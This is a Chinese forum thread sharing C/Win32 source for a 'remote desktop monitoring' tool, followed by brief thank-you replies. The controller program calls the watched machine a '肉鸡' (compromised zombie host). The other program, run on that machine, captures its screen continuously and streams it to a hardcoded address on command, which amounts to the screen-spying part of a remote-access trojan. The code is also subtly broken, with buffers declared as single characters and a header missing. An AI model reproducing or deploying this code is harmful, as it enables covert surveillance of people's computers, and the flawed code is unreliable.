z496032037 发表于 2016-8-26 16:49:23

C语言写的监视远程桌面(附源码)

可以实现远程桌面的实时监控,不过有点卡顿画质也不是很清晰。这些我没有完善,设置一下超时时间或者压缩一下数据应该能够解决这个问题,我没有继续弄,有兴趣的朋友可以做下。**** Hidden Message ***** 服务端源码:
#include <windows.h>
#include <Winsock.h>
#include "ControlCmd.h"
#pragma comment(lib,"wsock32.lib")

HINSTANCE ApphInstance;
HWND hMainWnd,hStartScreenButton,hStateStatic,hPrintScreenWnd;
SOCKET hControlSocket;
sockaddr_in stControlAddr;
MSG_HEAD ControlCMD;
BOOL bPrintScreen = FALSE;
HDC hCaptureDC;

VOID ListenThread(LPVOID lpParam)
{
        fd_set stReadfd;
        timeval stTime;
        sockaddr_in stSin;
        int SelectReturn,addrLength;
        char lpBuffer;
        MSG_HEAD MsgHead;

        while(1)
        {
                FD_ZERO(&stReadfd);
                FD_SET(hControlSocket,&stReadfd);
                stTime.tv_sec = 0;
                stTime.tv_usec = 200 * 1000;
                SelectReturn = select(0,&stReadfd,NULL,NULL,&stTime);
                if(SOCKET_ERROR == SelectReturn)
                        break;
                if(SelectReturn)
                {
                        RtlZeroMemory(lpBuffer,sizeof(lpBuffer));
                        addrLength = sizeof(sockaddr_in);
                        recvfrom(hControlSocket,lpBuffer,sizeof(lpBuffer),0,(sockaddr*)&stSin,&addrLength);
                        memcpy(&MsgHead,lpBuffer,sizeof(MSG_HEAD));
                        switch(MsgHead.dwCmdId)
                        {
                        case CMD_LINK:
                                {
                                        memcpy(&stControlAddr,&stSin,sizeof(sockaddr_in));
                                        SetWindowText(hStateStatic,"肉鸡状态:已连接");
                                        break;
                                }
                        }
                }
        }
        closesocket(hControlSocket);
        return ;
}

VOID PrintScreenThread(LPVOID lpParam)
{
        SOCKET hListenSocket,hPrintScreenSocket;
        sockaddr_in stSin;
        fd_set stReadfd;
        timeval stTime;
        int SelectReturn,nBitmapDataSize = 32;
        char lpMSGHeadBuffer;
        MSG_HEAD MsgHead;
        BITMAPINFOHEADER stBitmapInfo;
        HBITMAP hCaptureBitmap;
        HGLOBAL lpBitmapData;
        HDC hDC;
        int nRecvNumbera,nRecvNumberb;

        hListenSocket = socket(AF_INET,SOCK_STREAM,NULL);
        RtlZeroMemory(&stSin,sizeof(sockaddr_in));
        stSin.sin_addr.S_un.S_addr = INADDR_ANY;
        stSin.sin_family = AF_INET;
        stSin.sin_port = (short)lpParam;

        if(0 != bind(hListenSocket,(sockaddr *)&stSin,sizeof(stSin)))
        {
                MessageBox(NULL,"无法绑定到指定端口!","提示",MB_OK);
                closesocket(hControlSocket);
                return ;
        }

        listen(hListenSocket,1);

        ControlCMD.dwCmdId = CMD_BEREADY;
        ControlCMD.dwLength = sizeof(MSG_HEAD);
        sendto(hControlSocket,(char*)&ControlCMD,sizeof(MSG_HEAD),0,(sockaddr*)&stControlAddr,sizeof(sockaddr_in));

        hPrintScreenSocket = accept(hListenSocket,NULL,NULL);
        if(INVALID_SOCKET == hPrintScreenSocket)
        {
                closesocket(hControlSocket);
                return ;
        }

        lpBitmapData = GlobalAlloc(GPTR,nBitmapDataSize);
        if(NULL == lpBitmapData)
        {
                closesocket(hControlSocket);
                closesocket(hPrintScreenSocket);
                return ;
        }

        hDC = GetDC(hPrintScreenWnd);
        hCaptureDC = CreateCompatibleDC(hDC);
        hCaptureBitmap = CreateCompatibleBitmap(hDC,1920,1080);
        SelectObject(hCaptureDC,hCaptureBitmap);

        while(bPrintScreen)
        {
                FD_ZERO(&stReadfd);
                FD_SET(hPrintScreenSocket,&stReadfd);
                stTime.tv_sec = 0;
                stTime.tv_usec = 200 * 500;
                SelectReturn = select(0,&stReadfd,NULL,NULL,&stTime);
                if(SOCKET_ERROR == SelectReturn)
                        break;
                if(SelectReturn)
                {
                        RtlZeroMemory(lpMSGHeadBuffer,sizeof(lpMSGHeadBuffer));
                       
                        recv(hPrintScreenSocket,lpMSGHeadBuffer,sizeof(lpMSGHeadBuffer),0);
                        memcpy(&MsgHead,lpMSGHeadBuffer,sizeof(MSG_HEAD));
                       
                        nRecvNumbera = 0;
                        nRecvNumberb = 0;
                        do
                        {
                                nRecvNumbera = recv(hPrintScreenSocket,(char*)&stBitmapInfo + nRecvNumberb,sizeof(BITMAPINFOHEADER) - nRecvNumberb,0);
                                nRecvNumberb +=nRecvNumbera;
                        }while(nRecvNumberb < sizeof(BITMAPINFOHEADER));
                       
                        nBitmapDataSize = MsgHead.dwLength - sizeof(MSG_HEAD) - sizeof(BITMAPINFOHEADER);
                        lpBitmapData = GlobalReAlloc(lpBitmapData,nBitmapDataSize,GMEM_MOVEABLE | GMEM_ZEROINIT);
                       
                        nRecvNumbera = 0;
                        nRecvNumberb = 0;
                        do
                        {
                                nRecvNumbera = recv(hPrintScreenSocket,(char*)((int)lpBitmapData + nRecvNumberb),nBitmapDataSize - nRecvNumberb,0);
                                nRecvNumberb +=nRecvNumbera;
                        }while(nRecvNumberb < nBitmapDataSize);
                       
                        SetDIBitsToDevice(hCaptureDC,0,0,stBitmapInfo.biWidth,stBitmapInfo.biHeight,0,0,0,stBitmapInfo.biHeight,lpBitmapData,(BITMAPINFO*)&stBitmapInfo,DIB_RGB_COLORS);
                        InvalidateRect(hPrintScreenWnd,NULL,FALSE);
                }
        }

        GlobalFree(lpBitmapData);
        ReleaseDC(hPrintScreenWnd,hDC);
        DeleteObject(hCaptureBitmap);
        DeleteDC(hCaptureDC);
        closesocket(hListenSocket);
        closesocket(hPrintScreenSocket);
        return ;
}

LRESULT CALLBACK WinPrintScreenProc(
HWND hwnd,      // handle to window
UINT uMsg,      // message identifier
WPARAM wParam,// first message parameter
LPARAM lParam   // second message parameter
)
{
        switch(uMsg)
        {
        case WM_PAINT:
                {
                        PAINTSTRUCT stPt;
                        HDC hDc;

                        hDc = BeginPaint(hwnd,&stPt);
                        StretchBlt(hDc,0,0,1800,1012,hCaptureDC,0,0,1920,1080,SRCCOPY);
                        EndPaint(hwnd,&stPt);
                        break;
                }
        case WM_CLOSE:
                {
                        bPrintScreen = FALSE;
                        ControlCMD.dwCmdId = CMD_PRINTSCREEN_END;
                        ControlCMD.dwLength = sizeof(MSG_HEAD);
                        sendto(hControlSocket,(char*)&ControlCMD,sizeof(MSG_HEAD),0,(sockaddr*)&stControlAddr,sizeof(sockaddr_in));
                        DestroyWindow(hwnd);
                        break;
                }
        default:
                return DefWindowProc(hwnd,uMsg,wParam,lParam);
        }
        return 0;
}

LRESULT CALLBACK WinMainProc(
HWND hwnd,      // handle to window
UINT uMsg,      // message identifier
WPARAM wParam,// first message parameter
LPARAM lParam   // second message parameter
)
{
        switch(uMsg)
        {
        case WM_CREATE:
                {
                        hStartScreenButton = CreateWindowEx(NULL,"Button","开始截屏",WS_CHILD | WS_VISIBLE,50,30,100,23,hwnd,NULL,ApphInstance,NULL);
                        hStateStatic = CreateWindowEx(NULL,"Static","肉鸡状态:未连接",WS_CHILD | WS_VISIBLE,50,245,150,23,hwnd,NULL,ApphInstance,NULL);

                        WSADATA lpWSAdata;
                        sockaddr_in stSin;
                        HANDLE hListenThread;
                        DWORD dwThreadId;

                        if(0 != WSAStartup(MAKEWORD(2,2),&lpWSAdata))
                        {
                                MessageBox(NULL,"获取网络环境失败!","提示",MB_OK);
                                break;
                        }
                        hControlSocket = socket(AF_INET,SOCK_DGRAM,NULL);

                        RtlZeroMemory(&stSin,sizeof(sockaddr_in));
                        stSin.sin_addr.S_un.S_addr = INADDR_ANY;
                        stSin.sin_family = AF_INET;
                        stSin.sin_port = htons(9999);
                        if(0 != bind(hControlSocket,(sockaddr *)&stSin,sizeof(stSin)))
                        {
                                MessageBox(NULL,"无法绑定到指定端口!","提示",MB_OK);
                                ExitProcess(NULL);
                                break;
                        }
                        RtlZeroMemory(&stControlAddr,sizeof(sockaddr_in));
                        hListenThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ListenThread,NULL,0,&dwThreadId);
                        CloseHandle(hListenThread);
                        break;
                }
        case WM_COMMAND:
                {
                        if(0 == HIWORD(wParam))
                        {
                                BYTE lpCmdBuffer;
                                if((HWND)lParam == hStartScreenButton)
                                {
                                        if(!bPrintScreen)
                                        {
                                                short port;
                                                HANDLE hPrintScreenThread;
                                                DWORD dwThreadId;
                                                WNDCLASSEX PrintScreenWnd;

                                                PrintScreenWnd.cbClsExtra = 0;
                                                PrintScreenWnd.cbSize = sizeof(WNDCLASSEX);
                                                PrintScreenWnd.cbWndExtra = 0;
                                                PrintScreenWnd.hbrBackground = (HBRUSH)CreateSolidBrush(RGB(255,255,255));
                                                PrintScreenWnd.hCursor = LoadCursor(NULL,IDC_ARROW);
                                                PrintScreenWnd.hIcon = LoadIcon(NULL,MAKEINTRESOURCE(IDI_APPLICATION));
                                                PrintScreenWnd.hIconSm = NULL;
                                                PrintScreenWnd.hInstance = ApphInstance;
                                                PrintScreenWnd.lpfnWndProc = WinPrintScreenProc;
                                                PrintScreenWnd.lpszClassName = "PRINTSCREENWND";
                                                PrintScreenWnd.lpszMenuName = NULL;
                                                PrintScreenWnd.style = NULL;
                                               
                                                RegisterClassEx(&PrintScreenWnd);
                                               
                                                hPrintScreenWnd = CreateWindowEx(NULL,"PRINTSCREENWND","截屏显示",WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX,50,0,1805,1035,hMainWnd,NULL,ApphInstance,NULL);
                                               
                                                ShowWindow(hPrintScreenWnd,SW_SHOWNORMAL);
                                                UpdateWindow(hPrintScreenWnd);
                                               
                                                ControlCMD.dwCmdId = CMD_PRINTSCREEN_START;
                                                ControlCMD.dwLength = sizeof(MSG_HEAD) + sizeof(short);
                                                RtlZeroMemory(lpCmdBuffer,sizeof(lpCmdBuffer));
                                                memcpy(lpCmdBuffer,&ControlCMD,sizeof(MSG_HEAD));
                                                port = htons(10000);
                                                memcpy((void*)(lpCmdBuffer + sizeof(MSG_HEAD)),&port,sizeof(short));
                                               
                                                hPrintScreenThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)PrintScreenThread,(void*)port,0,&dwThreadId);
                                                CloseHandle(hPrintScreenThread);
                                                sendto(hControlSocket,(char*)lpCmdBuffer,sizeof(MSG_HEAD) + sizeof(short),0,(sockaddr*)&stControlAddr,sizeof(sockaddr_in));

                                                bPrintScreen = TRUE;
                                        }
                                }
                        }
                        break;
                }
        case WM_CLOSE:
                {
                        closesocket(hControlSocket);
                        WSACleanup();
                        DestroyWindow(hMainWnd);
                        PostQuitMessage(NULL);
                        break;
                }
        default:
                return DefWindowProc(hwnd,uMsg,wParam,lParam);
        }
        return 0;
}

int WINAPI WinMain(
HINSTANCE hInstance,      // handle to current instance
HINSTANCE hPrevInstance,// handle to previous instance
LPSTR lpCmdLine,          // command line
int nCmdShow            // show state
)
{
        WNDCLASSEX MainWnd;
        MSG MainWndMsg;

        ApphInstance = hInstance;
        MainWnd.cbClsExtra = 0;
        MainWnd.cbSize = sizeof(WNDCLASSEX);
        MainWnd.cbWndExtra = 0;
        MainWnd.hbrBackground = (HBRUSH)CreateSolidBrush(RGB(240,240,240));
        MainWnd.hCursor = LoadCursor(NULL,IDC_ARROW);
        MainWnd.hIcon = LoadIcon(NULL,MAKEINTRESOURCE(IDI_APPLICATION));
        MainWnd.hIconSm = NULL;
        MainWnd.hInstance = hInstance;
        MainWnd.lpfnWndProc = WinMainProc;
        MainWnd.lpszClassName = "MAINWND";
        MainWnd.lpszMenuName = NULL;
        MainWnd.style = NULL;
       
        RegisterClassEx(&MainWnd);

        hMainWnd = CreateWindowEx(NULL,"MAINWND","截屏服务端",WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX,200,200,400,300,NULL,NULL,hInstance,NULL);

        ShowWindow(hMainWnd,SW_SHOWNORMAL);
        UpdateWindow(hMainWnd);

        while(GetMessage(&MainWndMsg,NULL,0,0))
        {
                TranslateMessage(&MainWndMsg);
                DispatchMessage(&MainWndMsg);
        }

        return 1;
}



客户端源码:
#include <windows.h>
#include <Winsock.h>
#include "ControlCmd.h"
#pragma comment(lib,"wsock32.lib")

BOOL bPrintScreen = FALSE;
HANDLE hPrintScreenThread;

VOID PrintScreenThread(LPVOID lpParam)
{
        SOCKET hPrintScreenSocket;
        sockaddr_in stSin;
        int nScreenWidth,nScreenHeight;
        HWND hDesktopWnd;
        HDC hDesktopDC,hCaptureDC;
        HBITMAP hCaptureBitmap;
        BITMAP stBitmap;
        BITMAPINFOHEADER stBitmapInfo;
        int nBitmapDataSize = 32;
        HGLOBAL lpBitmapData;
        MSG_HEAD PrintScreenData;

        nScreenWidth = GetSystemMetrics(SM_CXSCREEN);
        nScreenHeight = GetSystemMetrics(SM_CYSCREEN);
        hDesktopWnd = GetDesktopWindow();
        hDesktopDC = GetDC(hDesktopWnd);
        hCaptureDC = CreateCompatibleDC(hDesktopDC);
        hCaptureBitmap =CreateCompatibleBitmap(hDesktopDC,nScreenWidth, nScreenHeight);
        SelectObject(hCaptureDC,hCaptureBitmap);

        hPrintScreenSocket = socket(AF_INET,SOCK_STREAM,NULL);
       
        RtlZeroMemory(&stSin,sizeof(sockaddr_in));
        stSin.sin_addr.S_un.S_addr = inet_addr("192.168.1.101");
        stSin.sin_family = AF_INET;
        stSin.sin_port = (short)lpParam;

        if(SOCKET_ERROR == connect(hPrintScreenSocket,(sockaddr *)&stSin,sizeof(sockaddr_in)))
        {
                closesocket(hPrintScreenSocket);
                return ;
        }

        lpBitmapData = GlobalAlloc(GPTR,nBitmapDataSize);
        if(NULL == lpBitmapData)
                return ;

        while(bPrintScreen)
        {
                BitBlt(hCaptureDC,0,0,nScreenWidth,nScreenHeight,hDesktopDC,0,0,SRCCOPY);
               
                GetObject(hCaptureBitmap,sizeof(BITMAP),&stBitmap);
                nBitmapDataSize = stBitmap.bmWidthBytes * stBitmap.bmHeight;
                lpBitmapData = GlobalReAlloc(lpBitmapData,nBitmapDataSize + sizeof(MSG_HEAD) + sizeof(BITMAPINFOHEADER),GMEM_MOVEABLE | GMEM_ZEROINIT);
               
                stBitmapInfo.biBitCount = stBitmap.bmBitsPixel;
                stBitmapInfo.biClrImportant = 0;
                stBitmapInfo.biClrUsed = 0;
                stBitmapInfo.biCompression = 0;
                stBitmapInfo.biHeight = stBitmap.bmHeight;
                stBitmapInfo.biPlanes = stBitmap.bmPlanes;
                stBitmapInfo.biSize = sizeof(BITMAPINFOHEADER);
                stBitmapInfo.biSizeImage = nBitmapDataSize;
                stBitmapInfo.biWidth = stBitmap.bmWidth;
                stBitmapInfo.biXPelsPerMeter = 0;
                stBitmapInfo.biYPelsPerMeter = 0;
               
                GetDIBits(hCaptureDC,hCaptureBitmap,0,stBitmap.bmHeight,(void*)((int)lpBitmapData + sizeof(MSG_HEAD) + sizeof(BITMAPINFOHEADER)),(BITMAPINFO*)&stBitmapInfo,DIB_RGB_COLORS);
               
                PrintScreenData.dwCmdId = CMD_PRINTSCREEN_DATA;
                PrintScreenData.dwLength = sizeof(MSG_HEAD) + sizeof(BITMAPINFOHEADER) + nBitmapDataSize;
               
                memcpy(lpBitmapData,&PrintScreenData,sizeof(MSG_HEAD));
                memcpy((void*)((int)lpBitmapData + sizeof(MSG_HEAD)),&stBitmapInfo,sizeof(BITMAPINFOHEADER));
                send(hPrintScreenSocket,(char *)lpBitmapData,nBitmapDataSize + sizeof(MSG_HEAD) + sizeof(BITMAPINFOHEADER),0);
                Sleep(30);
        }

        GlobalFree(lpBitmapData);
        closesocket(hPrintScreenSocket);
        ReleaseDC(hDesktopWnd,hDesktopDC);
    DeleteDC(hCaptureDC);
    DeleteObject(hCaptureBitmap);
        return ;
}

int WINAPI WinMain(
HINSTANCE hInstance,      // handle to current instance
HINSTANCE hPrevInstance,// handle to previous instance
LPSTR lpCmdLine,          // command line
int nCmdShow            // show state
)
{
        WSADATA lpWSAdata;
        SOCKET hWaitSocket;
        sockaddr_in stSin;
        fd_set stReadfd;
        timeval stTime;
        int addrLength;
        char lpBuffer;
        MSG_HEAD MsgHead;

        if(0 != WSAStartup(MAKEWORD(2,2),&lpWSAdata))
        {
                MessageBox(NULL,"获取网络环境失败!","提示",MB_OK);
                return 1;
        }
        hWaitSocket = socket(AF_INET,SOCK_DGRAM,NULL);
       
        RtlZeroMemory(&stSin,sizeof(sockaddr_in));
        stSin.sin_addr.S_un.S_addr = inet_addr("192.168.1.101");
        stSin.sin_family = AF_INET;
        stSin.sin_port = htons(9999);

        MsgHead.dwCmdId = CMD_LINK;
        MsgHead.dwLength = sizeof(MSG_HEAD);
       
        sendto(hWaitSocket,(char*)&MsgHead,sizeof(MSG_HEAD),0,(sockaddr *)&stSin,sizeof(sockaddr_in));

        while(1)
        {
          FD_ZERO(&stReadfd);
          FD_SET(hWaitSocket,&stReadfd);
          stTime.tv_sec = 0;
          stTime.tv_usec = 200 * 1000;
                if(select(0,&stReadfd,NULL,NULL,&stTime))
                {
                        RtlZeroMemory(lpBuffer,sizeof(lpBuffer));
                        addrLength = sizeof(sockaddr_in);
                        recvfrom(hWaitSocket,lpBuffer,sizeof(lpBuffer),0,(sockaddr *)&stSin,&addrLength);
                        memcpy(&MsgHead,lpBuffer,sizeof(MSG_HEAD));
                        switch(MsgHead.dwCmdId)
                        {
                        case CMD_PRINTSCREEN_START:
                                {
                                DWORD dwThreadId;
                                        short port;
                                        if(!bPrintScreen)
                                        {
                                                bPrintScreen = TRUE;
                                                memcpy((void*)&port,lpBuffer + sizeof(MSG_HEAD),sizeof(short));
                                                hPrintScreenThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)PrintScreenThread,(void*)port,CREATE_SUSPENDED,&dwThreadId);
                                        }
                                        break;
                                }
                        case CMD_PRINTSCREEN_END:
                                {
                                        bPrintScreen = FALSE;
                                        break;
                                }
                        case CMD_TESTING_LINK:
                                {
                                        MsgHead.dwCmdId = CMD_LINK;
                                        MsgHead.dwLength = sizeof(MSG_HEAD);
                                       
                                        sendto(hWaitSocket,(char*)&MsgHead,sizeof(MSG_HEAD),0,(sockaddr *)&stSin,sizeof(sockaddr_in));
                                        break;
                                }
                        case CMD_BEREADY:
                                {
                                        ResumeThread(hPrintScreenThread);
                                        break;
                                }
                        }
                }
        }

        closesocket(hWaitSocket);
        WSACleanup();
        return 1;
}


千亩计者 发表于 2016-8-26 17:01:01

感谢楼主无私奉献

zlh 发表于 2016-8-26 20:01:11

不错不错,很不错,必须支持

qym 发表于 2016-8-27 00:32:13

的所得到的

天外飞mao 发表于 2016-8-29 18:26:27

回复

子晨c 发表于 2016-8-29 22:39:52

学习

神天狼01 发表于 2016-8-31 21:49:29


感谢楼主无私奉献

saya0769 发表于 2016-9-1 22:36:09

好东西,谢谢分享啊!!

Ttalent 发表于 2016-9-1 22:44:52

mfc吗

拈花小仙 发表于 2016-9-2 02:34:19

做为一名天龙资深玩家,做为一名win32 sdk粉丝,倾力推荐!
@小甲鱼 @迷雾少年 @黑龍 @ryxcaixia

艾佳的一生 发表于 2016-9-2 08:57:25

#include "ControlCmd.h" 这个库哪里来的?

鱼小鱼c 发表于 2016-9-2 10:06:24

强耶

当年明月#5266 发表于 2016-9-2 16:59:25

怎么用啊楼主

... 发表于 2016-9-2 20:26:34

看看,顺便收藏了。。。

枫林 发表于 2016-9-2 21:15:50

可以有

烟花易冷峰 发表于 2016-9-4 00:04:16

楼主厉害。。。膜拜。。

axyaxy 发表于 2016-9-4 15:44:16

6666666666666

薏米阳光 发表于 2016-9-6 16:22:18

膜拜 学了一年C语言 只会做一些算法题 诶

junnl 发表于 2016-9-7 23:05:47

支持

ada985566 发表于 2016-9-14 19:03:38

下载拉开
页: [1] 2 3 4 5 6 7
查看完整版本: C语言写的监视远程桌面(附源码)